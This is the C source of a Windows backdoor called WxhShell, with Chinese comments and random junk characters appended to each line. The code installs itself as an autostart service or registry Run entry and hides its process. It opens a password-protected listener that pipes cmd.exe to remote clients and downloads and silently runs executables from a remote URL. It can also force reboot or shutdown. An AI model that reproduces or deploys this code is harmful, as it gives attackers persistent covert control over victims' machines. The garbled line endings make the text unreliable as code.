    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _I~W!8&w>  
    if(Boot(SHUTDOWN)) GLt#]I"LY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Se* GR"Z+  
    else { T?)?"b\qz  
    closesocket(wsh); BULX*eOt  
    ExitThread(0); .wx; !9  
    } JMw1qPJQ  
    break; gec<5Ewg  
    } N9Yc\?_NU_  
  // 获取shell A--Hg-N|  
  case 's': { Dq Kk9s;6_  
    CmdShell(wsh); 7f'9Dm`  
    closesocket(wsh); ?I`']|I  
    ExitThread(0); S?*v p=  
    break; rFSLTbTf  
  } R|ViLty  
  // 退出 #5N#^#r"  
  case 'x': { zhU)bb[A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b-@VR  
    CloseIt(wsh); H6x~mZu_:T  
    break; )wo'i]#2:  
    } G#8HY VF  
  // 离开 "N"9PTX  
  case 'q': { NHUx-IqOX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^/2n[orl5  
    closesocket(wsh); ~9p*zC3M  
    WSACleanup(); M/ 0!B_(R  
    exit(1); E:f0NV3"1  
    break; Zk)]=<H  
        } Gb<)U[Hfd  
  } ,+KZn}>  
  } ~a4htj  
x,STt{I=  
  // 提示信息 \('8 _tqI"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qXkc~{W_  
} #]oVVf_  
  } A /,7%bB1  
Ti!j  
  return; pV(b>O  
} Mje6Q  
(01M0b#  
// shell模块句柄 [P]zdw w#  
int CmdShell(SOCKET sock) C#`eN{%.YT  
{ *{P"u(K  
STARTUPINFO si; +n%uIv  
ZeroMemory(&si,sizeof(si)); G7DEavtr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4WG~7eIgy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s@E "EWp0  
PROCESS_INFORMATION ProcessInfo; 3205gI,  
char cmdline[]="cmd"; (!&cfabL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :Oo(w%BD]  
  return 0; :t8(w>oW  
} >;dMumX  
VJS|H!CH  
// 自身启动模式 j~(rG^T  
int StartFromService(void) j` 9pZAF  
{ {j+w|;dZF  
typedef struct o> WH;EBL  
{ )d bi  
  DWORD ExitStatus; 3<1Uq3Pa  
  DWORD PebBaseAddress; PGsXB"k<8  
  DWORD AffinityMask; !krbGpTVH  
  DWORD BasePriority; `=RJ8u  
  ULONG UniqueProcessId; 7JD jJQy  
  ULONG InheritedFromUniqueProcessId; 8 qt,sU  
}   PROCESS_BASIC_INFORMATION; t?L;k+sMM  
wbshKkUh_*  
PROCNTQSIP NtQueryInformationProcess; 9Ruj_U  
}+h/2D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q9H~B`\nQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eg-3GkC  
UJ 1iXV[h"  
  HANDLE             hProcess; >c*}Do{lG  
  PROCESS_BASIC_INFORMATION pbi; ,`v)nwP  
F=U3o=-:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Gzc3  
  if(NULL == hInst ) return 0; UM(tM9  
jxU1u"WU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O6NgI2[O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "~0m_brf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q<3=s6@T  
47ra`*  
  if (!NtQueryInformationProcess) return 0; q{HfT d  
bYGK}:T8U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); abh='5H|^|  
  if(!hProcess) return 0; H'Bor\;[>  
uV!Ax *'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :^tw!U%y1  
l69&-Nyg  
  CloseHandle(hProcess); JziuwL5,  
N@lTn}U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9"Oz-!Y4  
if(hProcess==NULL) return 0; ?2zVWZ  
x*Y&s<  
HMODULE hMod; 4n @}X-)  
char procName[255]; ;,![Lar5L  
unsigned long cbNeeded; ~CgKU8  
!qsk;Vk7Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (lq7 ct  
r63_|~JVB<  
  CloseHandle(hProcess); '^)Ve:K-.  
HgPRz C  
if(strstr(procName,"services")) return 1; // 以服务启动 YhYcqE8  
sgp5b$2T.  
  return 0; // 注册表启动 ||a 5)D  
} 8\+kfK  
aT1T.3 a  
// 主模块 e6f:@ O?  
int StartWxhshell(LPSTR lpCmdLine) 2A7g}V  
{ ^-?5=\`5  
  SOCKET wsl; C` ?6`$Y  
BOOL val=TRUE; dznHR6x  
  int port=0; ,#3u. =IR[  
  struct sockaddr_in door; sVtx h]  
M3c!SXx\  
  if(wscfg.ws_autoins) Install(); F(c~D0  
V9[-# Ti  
port=atoi(lpCmdLine); <3C~<  
Pw i6Ly`  
if(port<=0) port=wscfg.ws_port; {j i;~9'Q  
~CiVLS H=  
  WSADATA data; D%GB2-j R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ivg:`$a[  
m99j]w r~c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g"vg {Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7OY<*ny  
  door.sin_family = AF_INET; >Pne@w!*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q$FwO"dC  
  door.sin_port = htons(port); b* Ny  
K dY3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &~VWh}=r  
closesocket(wsl); 2<HG=iSf  
return 1; d\C x(Lb[  
} 4Kjrk7GAx  
EV{kd.=f  
  if(listen(wsl,2) == INVALID_SOCKET) { RU&,z3LEb  
closesocket(wsl); ^%l~|w  
return 1; R\k= CoJJ  
} >^}nk04  
  Wxhshell(wsl); Ncr38~;w  
  WSACleanup(); a)J3=Z-  
6(Za}H  
return 0; d'ddxT$GG  
%"tLs%"7=P  
} 'PPVM@)fU  
[<SM*fQ>t  
// 以NT服务方式启动 d~+8ui{-U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :K&>  
{ xxxM  
DWORD   status = 0; ]-h$CJSY  
  DWORD   specificError = 0xfffffff; Q79& Q04XN  
Zwy8 SD'L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [P,YW|:n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hik8u!#P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lU]/nKyd  
  serviceStatus.dwWin32ExitCode     = 0; %-ih$ZY  
  serviceStatus.dwServiceSpecificExitCode = 0; F02S(WWo;  
  serviceStatus.dwCheckPoint       = 0; +~, qb1aZ  
  serviceStatus.dwWaitHint       = 0; *?jU$&Qpj*  
Wy^43g38'p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XVwaX2=L  
  if (hServiceStatusHandle==0) return; :&D>?{b0  
,Q|[Yr  
status = GetLastError();  E~oQ%X~  
  if (status!=NO_ERROR) R^zTgyr  
{ C =fs[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "0x"X w#I  
    serviceStatus.dwCheckPoint       = 0; ?DPN a  
    serviceStatus.dwWaitHint       = 0; ! K? o H  
    serviceStatus.dwWin32ExitCode     = status; xb#M{EE-.  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9^l[d<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j" wX7  
    return; e='bc7$  
  } _nw=^zS  
J }izTI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x`N _tWZ  
  serviceStatus.dwCheckPoint       = 0; (ov=D7>t0  
  serviceStatus.dwWaitHint       = 0; zrfE'C8O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v4]7"7GuW  
} LL,&!KW[S  
z 9mmZqhK\  
// 处理NT服务事件,比如:启动、停止 Bi?.w5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~doOt  
{ `P;fD/I  
switch(fdwControl) $ijWwrh  
{ ydp?%RB3w  
case SERVICE_CONTROL_STOP: R_4]6{Rm  
  serviceStatus.dwWin32ExitCode = 0; *O') {(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ', -4o-  
  serviceStatus.dwCheckPoint   = 0; PMr {BS  
  serviceStatus.dwWaitHint     = 0; Hbogi1!al|  
  { RB1c!h$u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S<^*jheO5  
  } b 62 o  
  return; p"^^9'`=  
case SERVICE_CONTROL_PAUSE: 0ZQ|W%tS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; + >o/Ob  
  break; nA8]/r1k  
case SERVICE_CONTROL_CONTINUE: ju8mO&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zo66=vE!  
  break; +gb2>fei&  
case SERVICE_CONTROL_INTERROGATE: /|] %0B  
  break; wc-H`S|@  
}; Ko%&~C_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:3rANY|  
} ;c73:'e  
k#k!AcC  
// 标准应用程序主函数 F?2(U\k#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *au&ODa  
{ }vBk ,ED  
@Tmqw(n{  
// 获取操作系统版本 "Yw-1h`fR  
OsIsNt=GetOsVer(); (mXV5IM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kJIKULf  
CFD& -tED&  
  // 从命令行安装 <rc3&qmd  
  if(strpbrk(lpCmdLine,"iI")) Install(); pKO\tkMJ  
HKO00p7  
  // 下载执行文件 8EZ"z d`n/  
if(wscfg.ws_downexe) { d#7 z N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K1RTAFf /  
  WinExec(wscfg.ws_filenam,SW_HIDE); r-]Au -  
} Pz3jc|Ga  
\XwXs 5"G  
if(!OsIsNt) { *ie#9jA  
// 如果时win9x,隐藏进程并且设置为注册表启动 G`E%uyjG$j  
HideProc(); N3E Qq~lX  
StartWxhshell(lpCmdLine); mJb>)bO l  
} -Zfzl`r  
else 5}gcJjz  
  if(StartFromService()) ]t_AXKd  
  // 以服务方式启动 vvw6 GB,M  
  StartServiceCtrlDispatcher(DispatchTable); b8)>:F  
else reLYtv  
  // 普通方式启动 0+IJ, ;Wx  
  StartWxhshell(lpCmdLine); Z QND^a:  
1fwCQM   
return 0; PIP2(-{ai  
} Dw    
bnLvJ]i)  
S*rgYe!E  
4lC:svF  
=========================================== Y1EN|!WZ  
~Bn#A kL  
C)`ZI8  
f5zxy!dhKS  
+#O?a`f  
cX"[#Em#  
" HB`u@9le  
F>&Q5Kl R  
#include <stdio.h> yJ8WYQQMG  
#include <string.h> 4 W}8?&T  
#include <windows.h> 20;M-Wx  
#include <winsock2.h> hu[=9#''$  
#include <winsvc.h> %stZ'IX  
#include <urlmon.h> 0iqa]Am  
mIq6\c$  
#pragma comment (lib, "Ws2_32.lib") 1eI >Yy>}  
#pragma comment (lib, "urlmon.lib") ^Qz8`1`;Z  
'R8VCj  
#define MAX_USER   100 // 最大客户端连接数 NZYtA7  
#define BUF_SOCK   200 // sock buffer 3(%hHM7DM  
#define KEY_BUFF   255 // 输入 buffer sxJKu  
N8 }R<3/  
#define REBOOT     0   // 重启 -QCo]:cp  
#define SHUTDOWN   1   // 关机 g*\u8fpRq  
vp &jSfQ^  
#define DEF_PORT   5000 // 监听端口 ?I)-ez  
+SkD/"5ng  
#define REG_LEN     16   // 注册表键长度 Sj(uc#  
#define SVC_LEN     80   // NT服务名长度 )ruC_)  
G+AD &EHV  
// 从dll定义API o\h[K<^>)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ja70w:ja  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d|]F^DDuI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r Y|'<$wvg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #*#4vMk<  
8dq{.B?  
// wxhshell配置信息 D<5)i)J"  
struct WSCFG { }qT @.  
  int ws_port;         // 监听端口 %l[Cm4  
  char ws_passstr[REG_LEN]; // 口令 xZPSoxu  
  int ws_autoins;       // 安装标记, 1=yes 0=no `23&vGk}  
  char ws_regname[REG_LEN]; // 注册表键名 =A9>Ej/  
  char ws_svcname[REG_LEN]; // 服务名 3lhXD_Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }b2U o&][  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iyU@|^B"Wa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @JE:\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rAIX(2@cR_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V\%;S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `da6}Vqj:  
xT{qeHeZ9,  
}; #nX0xV5=  
e<YC=67n)  
// default Wxhshell configuration COc1np  
struct WSCFG wscfg={DEF_PORT, ygS*))7 r  
    "xuhuanlingzhe", !0c7nzjm  
    1, {o+aEMhM  
    "Wxhshell", _s (0P*  
    "Wxhshell", 9c9-1iS  
            "WxhShell Service", >},O_qx  
    "Wrsky Windows CmdShell Service", IJxdbuKg  
    "Please Input Your Password: ", >k*QkIyq  
  1, f[.RAHjk  
  "http://www.wrsky.com/wxhshell.exe", 6g29!F`y  
  "Wxhshell.exe" DUEA"m h  
    }; Ud^+a H  
(' /S~  
// 消息定义模块 ?+D_*'65D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $@Zb]gavt?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jWiZ!dtUZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (<s7X$(]e  
char *msg_ws_ext="\n\rExit."; l Vo](#W  
char *msg_ws_end="\n\rQuit."; 1Ls@|   
char *msg_ws_boot="\n\rReboot..."; LTS3[=AB  
char *msg_ws_poff="\n\rShutdown..."; f|WNPFQ$x  
char *msg_ws_down="\n\rSave to "; cz OhSbmc  
#l2wF>0  
char *msg_ws_err="\n\rErr!"; E,shTh%&~  
char *msg_ws_ok="\n\rOK!"; ;"!dq)  
VaJX,Q  
char ExeFile[MAX_PATH]; rl'YyO}2  
int nUser = 0; RZjTUMAz4  
HANDLE handles[MAX_USER]; T5B~CC'6  
int OsIsNt; :RzcK>Gub=  
yx3M0Qo  
SERVICE_STATUS       serviceStatus; j7<`^OG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <d# 9d.<  
YN n,{Xi  
// 函数声明 SEr\ u#  
int Install(void); jkQv cU  
int Uninstall(void); Au#(guvm  
int DownloadFile(char *sURL, SOCKET wsh); jbpnCUzi  
int Boot(int flag); 8II-'%S6q  
void HideProc(void); i cQsA  
int GetOsVer(void); vUS$DU F  
int Wxhshell(SOCKET wsl); 8?W\kf$  
void TalkWithClient(void *cs); '1~mnmiP  
int CmdShell(SOCKET sock); TmH#  
int StartFromService(void); LDBxw  
int StartWxhshell(LPSTR lpCmdLine); yrR<F5xge  
-kq=W_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j,/OzVm9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ppR~e*rv-  
OQ 5{#  
// 数据结构和表定义 ?#ndMv!$  
SERVICE_TABLE_ENTRY DispatchTable[] = <'v?WV_  
{ ;.V 5:,&  
{wscfg.ws_svcname, NTServiceMain}, yf*MG&}  
{NULL, NULL} *ls}r5k2Y  
}; _Z#yI/5r  
E+dr\Xhv  
// 自我安装 zc'!a"  
int Install(void) MM|&B`v@;  
{ Q5;K m1(  
  char svExeFile[MAX_PATH]; @'?<9 2A  
  HKEY key; MkC25  
  strcpy(svExeFile,ExeFile); tB&D~M6[  
L=Dd`  
// 如果是win9x系统,修改注册表设为自启动 Q pz01x  
if(!OsIsNt) { '-D-H}%;}M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =9i:R!,W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` R!0uRu  
  RegCloseKey(key); ,'= Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IJD'0/R'c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); REW *6:  
  RegCloseKey(key); !R//"{k0?  
  return 0; ZUQ1\Iw  
    } 6>%)qc$i  
  } UN`-;!  
} (5_l7hWY  
else { J *.Nf)i  
1MRt_*N4  
// 如果是NT以上系统,安装为系统服务 16keCG\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P{)&#HXUVb  
if (schSCManager!=0) /cJ$` pN  
{ _Jj|g9b  
  SC_HANDLE schService = CreateService bo$xonV@y  
  ( Z]1~9:7ap  
  schSCManager, 2"'0OQN0\  
  wscfg.ws_svcname, ykRKZYfsw(  
  wscfg.ws_svcdisp, b?CmKiM%  
  SERVICE_ALL_ACCESS, *=MC+4E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hnvn&{|  
  SERVICE_AUTO_START, @>qzRo  
  SERVICE_ERROR_NORMAL, #fG!dD42  
  svExeFile, W`eYd| +C  
  NULL, )qn =  
  NULL, <gZC78}E  
  NULL,  |}QDC/  
  NULL, I:]s/r7  
  NULL b&*^\hY9b  
  ); A0oC*/  
  if (schService!=0) JXftQOn  
  { :&2RV_$>=  
  CloseServiceHandle(schService); ^gw_Up<e6  
  CloseServiceHandle(schSCManager); Dd!MG'%hlb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rP2^D[uM.  
  strcat(svExeFile,wscfg.ws_svcname); (vz)GrH>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [@rZ.Hsl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '|J-8"  
  RegCloseKey(key); A8e b{qv  
  return 0; t<|=-  
    } ?.v!RdM+  
  } Nq9Qsia&  
  CloseServiceHandle(schSCManager); vo!:uvy;2  
} J^ P/2a#a  
} h}q+Dw.i  
_S,2j_R9  
return 1; O(~`fN?n  
} q}ZZqYk  
(FH4\'t)  
// 自我卸载 9D(M>'Bh  
int Uninstall(void) I?4J69'  
{ JI3AR e?y  
  HKEY key; %Q1v8l.}  
lLmVat(  
if(!OsIsNt) { v_{`O'#j^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ZCgpg$wM  
  RegDeleteValue(key,wscfg.ws_regname); D4Uz@2_  
  RegCloseKey(key); _UjAct]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wjq f u /  
  RegDeleteValue(key,wscfg.ws_regname); OZ![9l  
  RegCloseKey(key); V/"0'H\"1  
  return 0; ItYG9a  
  } 70lb6A  
} *ErTDy(   
} @r+ErFI  
else { dI>)4()  
6M"J3\ x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j:) (`  
if (schSCManager!=0) wy&VClT  
{ @o9EX }  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _#f/VE  
  if (schService!=0) |]+m<Dpyr2  
  { ?F AsV&y  
  if(DeleteService(schService)!=0) { 9^v|~f  
  CloseServiceHandle(schService); rU<  H7U  
  CloseServiceHandle(schSCManager); %dw-}1X  
  return 0; .N_0rPO,Kw  
  } ^._)HM  
  CloseServiceHandle(schService); B V+"uF  
  } R!*UU'se  
  CloseServiceHandle(schSCManager); M (b'4  
} DXSZ#^,S[W  
} w,eYrxR|N  
>9+@oGe(E  
return 1; 2?Q IK3"v  
} C.8]~MP  
pUwx`"DrR  
// 从指定url下载文件 pSE"] N  
int DownloadFile(char *sURL, SOCKET wsh) .A\9|sRZ5  
{ (LL4V 3)  
  HRESULT hr; &:akom8  
char seps[]= "/"; ``w,CP ?  
char *token; {* >$aI  
char *file; K+ufcct  
char myURL[MAX_PATH]; DI!NP;E  
char myFILE[MAX_PATH]; G{+sC2  
Ln[R}qD  
strcpy(myURL,sURL); cFGP3Q4{  
  token=strtok(myURL,seps); n$5,B*  
  while(token!=NULL) S$BwOx3QF  
  { "4`h -Y  
    file=token; MCL?J,1?r  
  token=strtok(NULL,seps); ua`2 & ;T=  
  } 3z\:{yl  
Z7k {7  
GetCurrentDirectory(MAX_PATH,myFILE); ;OPzT9  
strcat(myFILE, "\\"); OPwp(b  
strcat(myFILE, file); Pk~P  
  send(wsh,myFILE,strlen(myFILE),0); {(ey!O  
send(wsh,"...",3,0); \w^U<_zq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^YenS6`F  
  if(hr==S_OK) W$?1" F.  
return 0; f*W<N06EZ  
else )3h=V^rm  
return 1; 7S2Bm]fP  
d?b2jZ$r]  
} p8Lb*7W  
g B+cU  
// 系统电源模块 q/70fR7{v  
int Boot(int flag) :ozHuHJ#  
{ 7" Dw4}T  
  HANDLE hToken; <^n9?[m*  
  TOKEN_PRIVILEGES tkp; ;P5\EJo  
;#` Z(A}  
  if(OsIsNt) { *|_u~v:)|5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pa0tf:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xw9,O8}C7  
    tkp.PrivilegeCount = 1; il5WLi;{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rp}6}4=d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /A|ofAr)  
if(flag==REBOOT) { kW6}57iV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =J0FT2 d  
  return 0; ?#pL\1"E  
} 'e;*V$+  
else { Qi6vP&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sGMC$%e}  
  return 0; 47`{ e_YP0  
} akJ{-   
  } pOIFO =k  
  else { 2ZIf@C{P.  
if(flag==REBOOT) { &rcr])jg[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <adu^5BI  
  return 0; uW Q`  
} MI',E?#yB  
else { yq6!8OkF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s![=F}ck  
  return 0; ={={ W  
} XRP/E_4  
} Ls*.=ARq  
P63z8^y  
return 1; 8 \%*4L'  
} :+en8^r%  
#_|6yo}  
// win9x进程隐藏模块 -2bu`oD `  
void HideProc(void) +Z /Pj_.o  
{ h=?#D0  
TLw.rEN!;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P>Pw;[b>O  
  if ( hKernel != NULL ) YY'46  
  { O57 eq.aT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /tDwgxJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ub7|'+5  
    FreeLibrary(hKernel); v2/@Pu!kg  
  } qfx=   
5Z1b9.;.,  
return; wxN'Lv=R  
} [|E 93g  
w}X<]u  
// 获取操作系统版本 A^*0{F?,)  
int GetOsVer(void) ms`R ^6Ra  
{ wtIXZU x  
  OSVERSIONINFO winfo; ~~;J[F p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E&#cU}ErN  
  GetVersionEx(&winfo); 2E;UHR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `[X5mEe  
  return 1; R:fERj<s  
  else /X9Kg  
  return 0; tp7cc;0  
} 1 cvoI  
\mbm$E+X  
// 客户端句柄模块 T2Ms/1FH/@  
int Wxhshell(SOCKET wsl) !.Eua3:V*  
{ 1-.6psE  
  SOCKET wsh; 7vF+Di(B  
  struct sockaddr_in client; K!=Y4"5%  
  DWORD myID; 4|ML#aRz  
:6:;Z qn  
  while(nUser<MAX_USER) 7A<X!a  
{ l`>|XUf6  
  int nSize=sizeof(client); A]c'`Nf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wxS.!9K  
  if(wsh==INVALID_SOCKET) return 1; }%x2Z{VF  
5%Hw,h   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 14Y_ oH9  
if(handles[nUser]==0) KP,#x$Bg  
  closesocket(wsh); CC"}aV5  
else R6eKI,y\"  
  nUser++; +-"uJIwMD  
  } % 8u97f W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  0@7%  
@{n"/6t  
  return 0; e98f+,E/  
} 4AW-'W  
gc,%A'OR^<  
// 关闭 socket YS],o'T  
void CloseIt(SOCKET wsh) v'=$K[_  
{ a=@]Ov/  
closesocket(wsh);  -]n\|U<  
nUser--; >h)D~U(H  
ExitThread(0); ?DJ/Yw>>3  
} UZvF5Hoe+O  
uC$!|I  
// 客户端请求句柄 Lp31Y . 4  
void TalkWithClient(void *cs) bAOL<0RS9`  
{ (`'(`x#  
_?~EWT   
  SOCKET wsh=(SOCKET)cs; ]"q9~  
  char pwd[SVC_LEN]; 1z IX $A  
  char cmd[KEY_BUFF]; IE]? WW5  
char chr[1]; KJ (|skO  
int i,j; Y.yiUf/Q  
D`hl}  
  while (nUser < MAX_USER) { yrvV<}  
 T&'p5h=l  
if(wscfg.ws_passstr) { $Iz*W]B!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7up~8e$_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )>"|<h.2]  
  //ZeroMemory(pwd,KEY_BUFF); 12]rfd   
      i=0; kLE("I:7  
  while(i<SVC_LEN) { "~2SHM@q  
| -l9Z  
  // 设置超时 e92,@  
  fd_set FdRead; &s^t~>Gpr  
  struct timeval TimeOut; MxLg8,M  
  FD_ZERO(&FdRead); >bRoQ8  
  FD_SET(wsh,&FdRead); 5FMe&  
  TimeOut.tv_sec=8; CXiDe)|<E  
  TimeOut.tv_usec=0; (4f]<Qt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @oKW$\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GHWt3K:*w  
W*;r}!ro  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A'6-E{  
  pwd=chr[0]; (l+0*o,(  
  if(chr[0]==0xd || chr[0]==0xa) { QtHK`f>4#n  
  pwd=0; u~8=ik n+T  
  break; 3D}Pa  
  } R :*1Y\o(  
  i++; -JfqY?Ue_2  
    } xp*Wf#BF  
DFMf" _p  
  // 如果是非法用户,关闭 socket 7TtDI=f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]y9u5H^  
} fnJx$PD~  
Ak kth*p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {%Rntb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :JXGgl<y  
i~"lcgoO  
while(1) { * ,L e--t  
#EA` |  
  ZeroMemory(cmd,KEY_BUFF); mrQT:B\8  
H0\' ,X  
      // 自动支持客户端 telnet标准   fl8eNi E|  
  j=0; %bp'`B=  
  while(j<KEY_BUFF) { rL,kDSLs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zI= 9  
  cmd[j]=chr[0]; Q_6v3no1  
  if(chr[0]==0xa || chr[0]==0xd) { GJ\bZ"vDo  
  cmd[j]=0; 8b"vXNB.f  
  break; tISb' ^T  
  } V'FKgzd  
  j++; #AH gY.  
    } 0nPg`@e.  
~^/BAc  
  // 下载文件 o'_eLp  
  if(strstr(cmd,"http://")) { ]tNB^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KK?R|1VK9  
  if(DownloadFile(cmd,wsh)) 5mX"0a_Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #y8Esik  
  else e7yn"kd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q{}U5(,{0  
